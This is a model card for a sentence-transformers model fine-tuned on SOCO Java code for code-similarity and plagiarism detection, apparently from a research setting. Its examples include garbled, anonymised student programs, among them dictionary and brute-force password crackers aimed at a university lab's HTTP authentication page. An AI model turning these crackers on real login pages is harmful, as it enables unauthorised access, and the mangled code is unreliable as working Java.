      - "import java.net.*; \nimport java.io.*; \nimport java.util.regex.*;\nimport java.util.Date;\nimport java.util.*;\nimport java.text.*; \n\n\n\n\npublic class WatchDog { \n  public static BufferedReader in;\n  \n\n  public static int LIMITINMINUTES=60*24;\n  public static int TIMELIMIT=LIMITINMINUTES*1000*60;\n  public static void main(String[] args) throws Exception { \n    \n    String watchedPage = \"http://www.cs.rmit.edu./students/\";\n    String currentPage = \"\";  \n    \n    \n    System.out.println(\" stop the program, press \\\"Alt + C\\\"\");\n    \n    boolean loggedout=false;\n    while (!loggedout){\n      \n      currentPage=\"\";\n      \n      \n      Date date = new Date();\n       startTime=date.getTime();\n      \n      \n      URL cs = new URL(watchedPage); \n      HttpURLConnection connection;\n      URLConnection csc = cs.openConnection();      \n      try {\n\tBufferedReader in = new BufferedReader(new InputStreamReader(csc.getInputStream())); \n\tString inputLine; \n\t\n\twhile ((inputLine = in.readLine()) != null) {\n\t  currentPage = currentPage+inputLine;\n\t}\n\t\n      }\n      catch (IOException s) {    \n      }\n      finally {\n\twhile(in!=null)\n          in.next();\n      }\n      \n      String lastPage=readData();\n      if (lastPage.trim().equals(currentPage.trim())) {\n\tSystem.out.println(\"Pages match, nothing  email.\");\n      }\n      else {\n\t\n\t\n\tString checkCurrentPage = currentPage.trim();\n\tString checkLastPage = lastPage.trim();\n\tint iterations;\n\t\n\tboolean lastLongestString;\n\tif (checkCurrentPage.length()<checkLastPage.length()) {\n          iterations = checkCurrentPage.length();\n\t  lastLongestString = true;\n\t}\n\telse {\n          iterations = checkLastPage.length();\n\t  lastLongestString = false;\n\t  \n\t}\n\tString additions = \"Here  the additions  the : \\n\";\n\tboolean add=false;\n\tString subtractions = \"Here  the parts removed from the : \\n\";\n\tboolean sub=false;\n\tfor (int count=0; count<iterations; count++) {\n          \n\t  if (checkLastPage.length()>count && checkCurrentPage.length()>count){\n\t  \n            if (checkLastPage.charAt(count)!=(checkCurrentPage.charAt(count))) {\n\t      \n\t      \n\t      if (count<20){\n\t\tadditions = \"Sorry changes   together  distinguish additions and subtractions  . Here is where  : \"+ checkCurrentPage.substring(count, checkCurrentPage.length());\n\t\tcount = iterations;\n\t      }\n\t      else {\n\t\t\n\t\t\n\t\tcheckCurrentPage= checkCurrentPage.substring(count, checkCurrentPage.length());\n\t\tcheckLastPage=checkLastPage.substring(count, checkLastPage.length());\n\t\titerations=iterations-count;\n\t\tcount=0;\n\n\t\t\n\t\t\n\t\t\n\t\tString regexAdd=\"\";\n\t\tif (checkLastPage.length()<20){\n\t\t  regexAdd=checkLastPage.substring(count, checkLastPage.length());\n\t\t}\n\t\telse {\t  \n\t\t  regexAdd=checkLastPage.substring(0,19);\n\t\t}\n\t\tString [] changes=checkCurrentPage.split(regexAdd, 2);\n\t\tint changeslength=changes.length;\n\t\t\n\t\tif (changeslength>1){\n\t\t  \n\t\t  add=true;\n\t\t  additions = additions + changes[0];\t  \n\t\t  \n\t\t  \n\t\t  if (changeslength>1){\n\t\t    checkCurrentPage=regexAdd+changes[1];\n\t\t  }\n\t\t  else {\n\t\t    if (lastLongestString==true) \n\t              count=iterations;\n\t\t  }  \n\t\t}\n\t\telse { \n\t  \t\t  \n\t\t  \n\t\t  \n\t\t  String regexSub=\"\";\n\t\t  if (checkCurrentPage.length()<20){\n\t\t    regexSub=checkCurrentPage.substring(count, checkCurrentPage.length());\n\t\t  }\n\t\t  else {\t  \n\t\t    regexSub=checkCurrentPage.substring(0,19);\n\t\t  }\n\t\t  String [] changesSub=checkLastPage.split(regexSub, 2);\n\t\t  int changeslengthSub=changesSub.length;\n\t\t  \n\t\t  if (changeslengthSub>1){\n\t\t    \n\t\t    sub=true;\n\t\t    subtractions = subtractions + changesSub[0];\t  \n\t\t    \n\t\t    \n\t\t    if (changeslengthSub>1){\n\t\t      checkLastPage=regexSub+changesSub[1];\n\t\t    }\n\t\t    else {\n\t\t      if (lastLongestString==false) \n\t\t      count=iterations;\n\t\t    }\n\t\t    \n\t\t    \n\t\t  }\n\t\t}\n\t      }\n\n            } \n\t  } \n\t} \n\t\n\t\n\tString emailBody=\"Changes   have been . \\n\"+additions+subtractions;\n\n\t\n\tsendEmail(emailBody);\n      }\n\n      \n      writeData(currentPage);\n      \n      \n      wait24(startTime);\n    } \n  } \n  \n  \n  private static void wait24( int startTime) {\n     boolean waiting=true;\n     while(waiting){\n       Date endDate = new Date();\n        endTime=endDate.getTime();\n       \n       \n       if (endTime>(TIMELIMIT+startTime)){\n         \n          waiting=false;\n       }\t\n     }\n  } \n     \n  \n  public static String readData() {\n    String data;\n    String lastPage=\"\";\n    try {\n      BufferedReader in = new BufferedReader(new FileReader(\"LastVisitedPage.html\"));\n      while ((data = in.readLine())!=null) {\n        lastPage= lastPage + data +\"\\n\";\n      }\n      \n    }\n    catch (FileNotFoundException e1) {\n      System.exit(0);\n    }\n    catch (IOException e2) {\n      System.out.println(\"IO Exception, exiting\");\n      System.exit(0);\n    }\t    \n    finally {\n      try {\n\tif (null!=in) {\n        in.next();\n\t}\n    }\n    catch (IOException e3) {}\n    }\n    return lastPage;\n  }\n  \n  \n  public static void writeData(String currentPage) {\n    PrintWriter out;\n      try {\n\tout = new PrintWriter (new BufferedWriter(new FileWriter(\"LastVisitedPage.html\")));\n\tout.println(currentPage);\n\t\n\t\n      }\n      catch (IllegalArgumentException e1) {\n\tSystem.out.println (\"Sorry, 't write  file. None of changes in this session have been saved\");\n\tSystem.exit(0);\n      }\n      catch (IOException e2) {\n\tSystem.out.println (\"Sorry, 't write  file. None of changes in this session have been saved\");\n\tSystem.exit(0);\n\t}\n      finally {}    \n  }  \n\n \n \n \n  public static void sendEmail(String emailBody){\n    \n    Socket smtpSocket =null;\n    DataOutputStream os = null;\n    InputStreamReader is = null ;\n\n    Date dDate = new Date();\n    DateFormat dFormat = DateFormat.getDateInstance(DateFormat.FULL,Locale.US);\n\n    try{ \n      smtpSocket = new Socket(\".rmit.edu.\", 25);\n      os = new DataOutputStream(smtpSocket.getOutputStream());\n      is = new InputStreamReader(smtpSocket.getInputStream());\n      BufferedReader  = new BufferedReader(is);\n\n      if(smtpSocket != null && os != null && is != null){ \n      \n\ttry {   \n\t  os.writeBytes(\"HELO .rmit.edu.\\r\\n\");\n\t  \n\t  \n\t  os.writeBytes(\"MAIL From: <@.rmit.edu.>\\r\\n\");\n\n\t  \n\t  os.writeBytes(\"RCPT : <@cs.rmit.edu.>\\r\\n\");\n\n\t  \n\t  \n\t  os.writeBytes(\"DATA\\r\\n\");\n\n\t  os.writeBytes(\"X-Mailer: Via Java\\r\\n\");\n\t  os.writeBytes(\"DATE: \" + dFormat.format(dDate) + \"\\r\\n\");\n\t  os.writeBytes(\"From:  <@cs.rmit.edu.>\\r\\n\");\n\t  os.writeBytes(\":   <@cs.rmit.edu.>\\r\\n\");\n\n\t  os.writeBytes(\"Subject:  updated\\r\\n\");\n\t  os.writeBytes(emailBody + \"\\r\\n\");\n\t  os.writeBytes(\"\\r\\n.\\r\\n\");\n\t  os.writeBytes(\"QUIT\\r\\n\");\n\n\t  \n\t  \n\t  String responseline;\n\t  while((responseline=is.readLine())!=null){  \n            \n            if(responseline.indexOf(\"Ok\") != -1) {\n            break;\n            }\n\t  }\n\t}\n\tcatch(Exception e){  \n\t  System.out.println(\"Cannot send email as  error occurred.\");  \n\t}\n      }\n      else \n\tSystem.out.println(\"smtpSocket  another variable is null!\");\n    } \n    catch(Exception e){ \n      System.out.println(\"Host unknown\"); \n    }\n  } \n   \n} \n\n\n"
pipeline_tag: sentence-similarity
library_name: sentence-transformers

SentenceTransformer based on microsoft/graphcodebert-base

This is a sentence-transformers model finetuned from microsoft/graphcodebert-base. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

  • Model Type: Sentence Transformer
  • Base model: microsoft/graphcodebert-base
  • Maximum Sequence Length: 512 tokens
  • Output Dimensionality: 768 dimensions
  • Similarity Function: Cosine Similarity

Model Sources

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

Training Details

Training Dataset

Unnamed Dataset

  • Size: 33,411 training samples
  • Columns: sentence_0, sentence_1, and label
  • Approximate statistics based on the first 1000 samples:
    sentence_0 sentence_1 label
    type string string int
    details
    • min: 61 tokens
    • mean: 478.83 tokens
    • max: 512 tokens
    • min: 61 tokens
    • mean: 490.04 tokens
    • max: 512 tokens
    • 0: ~99.80%
    • 1: ~0.20%
  • Samples:
    sentence_0 sentence_1 label


    import java.net.;
    import java.io.
    ;

    public class sendMail {

    public void sendMail(String mailServer, String recipient, String result) {
    try {
    Socket s = new Socket(mailServer, 25);
    BufferedReader in = new BufferedReader
    (new InputStreamReader(s.getInputStream(), "8859_1"));
    BufferedWriter out = new BufferedWriter
    (new OutputStreamWriter(s.getOutputStream(), "8859_1"));

    send(in, out, "HELO client");

    send(in, out, "MAIL FROM: ");
    send(in, out, "RCPT : " + recipient);
    send(in, out, "DATA");
    send(out, "Subject: ");
    send(out, "From: Admin ");
    send (out, "\n");

    send(out, result);
    send(out, "\n.\n");
    send(in, out, "QUIT");

    }
    catch (Exception e) {
    e.printStackTrace();
    }
    }

    public void send(BufferedReader in, BufferedWriter out, String s) {
    try {
    out.write(s + "\n");
    out.flush();
    Sys...



    import java.io.;
    import java.util.
    ;
    import java.;
    import java.net.
    ;

    public class WatchDog
    {

    static Process p = null;
    static Process qproc = null;

    static BufferedReader bf = null;
    static StringTokenizer tok = null;

    static String Path = null;
    static String str = null;
    static String urlStr=null;
    static boolean changed = false;

    static File indexfile = new File("index.html");
    static File tmpfile = new File("tmpindex.html");
    static File mdfile = new File("md5file.txt");
    static File tmpmdfile = new File("tmpmd5file.txt");
    static PrintWriter mailwriter = null;


    public static void main(String[] args)
    {

    urlStr = "http://www.cs.rmit.edu./";

    try
    {

    mailwriter = new PrintWriter(new BufferedWriter(new FileWriter("tomail.txt", false)));

    getLatest(urlStr);
    parseFile();

    mailwriter.read();

    if(changed)
    {
    System.out.println("Sending Mail");
    ...
    0

    import java.io.;
    import java.net.
    ;

    public class BruteForce
    {
    private String myUsername = "";
    private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";
    private int NUM_CHARS = 52;


    public static void main(String args[])
    {
    BruteForce bf = new BruteForce();
    }


    public BruteForce()
    {
    generatePassword();
    }




    public void generatePassword()
    {
    int index1 = 0, index2, index3;

    char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
    'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R',
    'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',
    'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
    's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };


    while(index1 < NUM_CHARS)
    {
    index2 = 0;

    while(index2 < NUM_CHARS)
    {
    ...




    public class HoldSharedData
    {
    private int numOfConnections = 0;
    private int startTime;
    private int totalTime = 0;
    private String[] password;
    private int pwdCount;

    public HoldSharedData( int time, String[] pwd, int count )
    {
    startTime = time;

    password = pwd;
    pwdCount = count;
    }

    public int getPwdCount()
    {
    return pwdCount;
    }

    public void setNumOfConnections( )
    {
    numOfConnections ++;
    }

    public int getNumOfConnections()
    {
    return numOfConnections;
    }

    public int getStartTime()
    {
    return startTime;
    }

    public void setTotalTime( int newTotalTime )
    {
    totalTime = newTotalTime;
    }

    public int getTotalTime()
    {
    return totalTime;
    }

    public String getPasswordAt( int index )
    {
    return password[index];
    }
    }
    0


    import java.net.;
    import java.io.
    ;

    public class sendMail {

    public void sendMail(String mailServer, String recipient, String result) {
    try {
    Socket s = new Socket(mailServer, 25);
    BufferedReader in = new BufferedReader
    (new InputStreamReader(s.getInputStream(), "8859_1"));
    BufferedWriter out = new BufferedWriter
    (new OutputStreamWriter(s.getOutputStream(), "8859_1"));

    send(in, out, "HELO client");

    send(in, out, "MAIL FROM: ");
    send(in, out, "RCPT : " + recipient);
    send(in, out, "DATA");
    send(out, "Subject: ");
    send(out, "From: Admin ");
    send (out, "\n");

    send(out, result);
    send(out, "\n.\n");
    send(in, out, "QUIT");

    }
    catch (Exception e) {
    e.printStackTrace();
    }
    }

    public void send(BufferedReader in, BufferedWriter out, String s) {
    try {
    out.write(s + "\n");
    out.flush();
    Sys...


    import java.net.;
    import java.io.
    ;

    public class Base64Encoder
    {
    private final static char base64Array [] = {
    'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
    'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
    'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
    'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
    'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
    'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
    'w', 'x', 'y', 'z', '0', '1', '2', '3',
    '4', '5', '6', '7', '8', '9', '+', '/'
    };

    public static String encode (String string)
    {
    String encodedString = "";
    byte bytes [] = string.getBytes ();
    int i = 0;
    int pad = 0;
    while (i < bytes.length)
    {
    byte b1 = bytes [i++];
    byte b2;
    byte b3;
    if (i >= bytes.length)
    {
    b2 = 0;
    b3 = 0;
    pad = 2;
    }
    else
    {
    b2 = bytes [i++];
    if (i >= bytes.length)
    ...
    0
  • Loss: BatchAllTripletLoss

Training Hyperparameters

Non-Default Hyperparameters

  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • num_train_epochs: 1
  • multi_dataset_batch_sampler: round_robin

All Hyperparameters

Click to expand
  • overwrite_output_dir: False
  • do_predict: False
  • eval_strategy: no
  • prediction_loss_only: True
  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • per_gpu_train_batch_size: None
  • per_gpu_eval_batch_size: None
  • gradient_accumulation_steps: 1
  • eval_accumulation_steps: None
  • torch_empty_cache_steps: None
  • learning_rate: 5e-05
  • weight_decay: 0.0
  • adam_beta1: 0.9
  • adam_beta2: 0.999
  • adam_epsilon: 1e-08
  • max_grad_norm: 1
  • num_train_epochs: 1
  • max_steps: -1
  • lr_scheduler_type: linear
  • lr_scheduler_kwargs: {}
  • warmup_ratio: 0.0
  • warmup_steps: 0
  • log_level: passive
  • log_level_replica: warning
  • log_on_each_node: True
  • logging_nan_inf_filter: True
  • save_safetensors: True
  • save_on_each_node: False
  • save_only_model: False
  • restore_callback_states_from_checkpoint: False
  • no_cuda: False
  • use_cpu: False
  • use_mps_device: False
  • seed: 42
  • data_seed: None
  • jit_mode_eval: False
  • use_ipex: False
  • bf16: False
  • fp16: False
  • fp16_opt_level: O1
  • half_precision_backend: auto
  • bf16_full_eval: False
  • fp16_full_eval: False
  • tf32: None
  • local_rank: 0
  • ddp_backend: None
  • tpu_num_cores: None
  • tpu_metrics_debug: False
  • debug: []
  • dataloader_drop_last: False
  • dataloader_num_workers: 0
  • dataloader_prefetch_factor: None
  • past_index: -1
  • disable_tqdm: False
  • remove_unused_columns: True
  • label_names: None
  • load_best_model_at_end: False
  • ignore_data_skip: False
  • fsdp: []
  • fsdp_min_num_params: 0
  • fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
  • fsdp_transformer_layer_cls_to_wrap: None
  • accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
  • deepspeed: None
  • label_smoothing_factor: 0.0
  • optim: adamw_torch
  • optim_args: None
  • adafactor: False
  • group_by_length: False
  • length_column_name: length
  • ddp_find_unused_parameters: None
  • ddp_bucket_cap_mb: None
  • ddp_broadcast_buffers: False
  • dataloader_pin_memory: True
  • dataloader_persistent_workers: False
  • skip_memory_metrics: True
  • use_legacy_prediction_loop: False
  • push_to_hub: False
  • resume_from_checkpoint: None
  • hub_model_id: None
  • hub_strategy: every_save
  • hub_private_repo: None
  • hub_always_push: False
  • gradient_checkpointing: False
  • gradient_checkpointing_kwargs: None
  • include_inputs_for_metrics: False
  • include_for_metrics: []
  • eval_do_concat_batches: True
  • fp16_backend: auto
  • push_to_hub_model_id: None
  • push_to_hub_organization: None
  • mp_parameters:
  • auto_find_batch_size: False
  • full_determinism: False
  • torchdynamo: None
  • ray_scope: last
  • ddp_timeout: 1800
  • torch_compile: False
  • torch_compile_backend: None
  • torch_compile_mode: None
  • include_tokens_per_second: False
  • include_num_input_tokens_seen: False
  • neftune_noise_alpha: None
  • optim_target_modules: None
  • batch_eval_metrics: False
  • eval_on_start: False
  • use_liger_kernel: False
  • eval_use_gather_object: False
  • average_tokens_across_devices: False
  • prompts: None
  • batch_sampler: batch_sampler
  • multi_dataset_batch_sampler: round_robin

Training Logs

Epoch Step Training Loss
0.2393 500 0.1754
0.4787 1000 0.1994
0.7180 1500 0.209
0.9574 2000 0.1941

Framework Versions

  • Python: 3.11.13
  • Sentence Transformers: 4.1.0
  • Transformers: 4.52.4
  • PyTorch: 2.6.0+cu124
  • Accelerate: 1.7.0
  • Datasets: 3.6.0
  • Tokenizers: 0.21.1

Citation

BibTeX

Sentence Transformers

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

BatchAllTripletLoss

@misc{hermans2017defense,
    title={In Defense of the Triplet Loss for Person Re-Identification},
    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
    year={2017},
    eprint={1703.07737},
    archivePrefix={arXiv},
    primaryClass={cs.CV}
}